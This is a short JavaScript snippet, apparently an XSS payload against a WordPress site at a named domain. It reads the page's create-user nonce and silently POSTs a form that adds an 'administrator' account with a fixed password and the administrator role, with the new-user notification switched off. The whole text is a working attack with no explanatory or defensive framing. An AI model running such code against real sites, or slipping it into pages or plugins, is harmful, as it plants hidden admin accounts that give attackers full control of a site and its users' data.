const url = 'https://safefileshare.net/wp-admin/user-new.php';

fetch(url)
  .then(response => response.text())
  .then(html => {
    const parser = new DOMParser();
    const doc = parser.parseFromString(html, 'text/html');
    const nonceValue = doc.getElementById('_wpnonce_create-user').value;
    const requestOptions = {
      method: 'POST',
      headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
      },
      body: `action=createuser&_wpnonce_create-user=${encodeURIComponent(
        nonceValue
      )}&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=administrator&email=a@a.com&first_name=&last_name=&url=&pass1=O%21k6c5%5EfjO%5E1sF%26%24%21%26V2PG9e&pass2=O%21k6c5%5EfjO%5E1sF%26%24%21%26V2PG9e&send_user_notification=0&role=administrator&ure_other_roles=&createuser=Add+New+User`
    };

    return fetch(url, requestOptions);
  });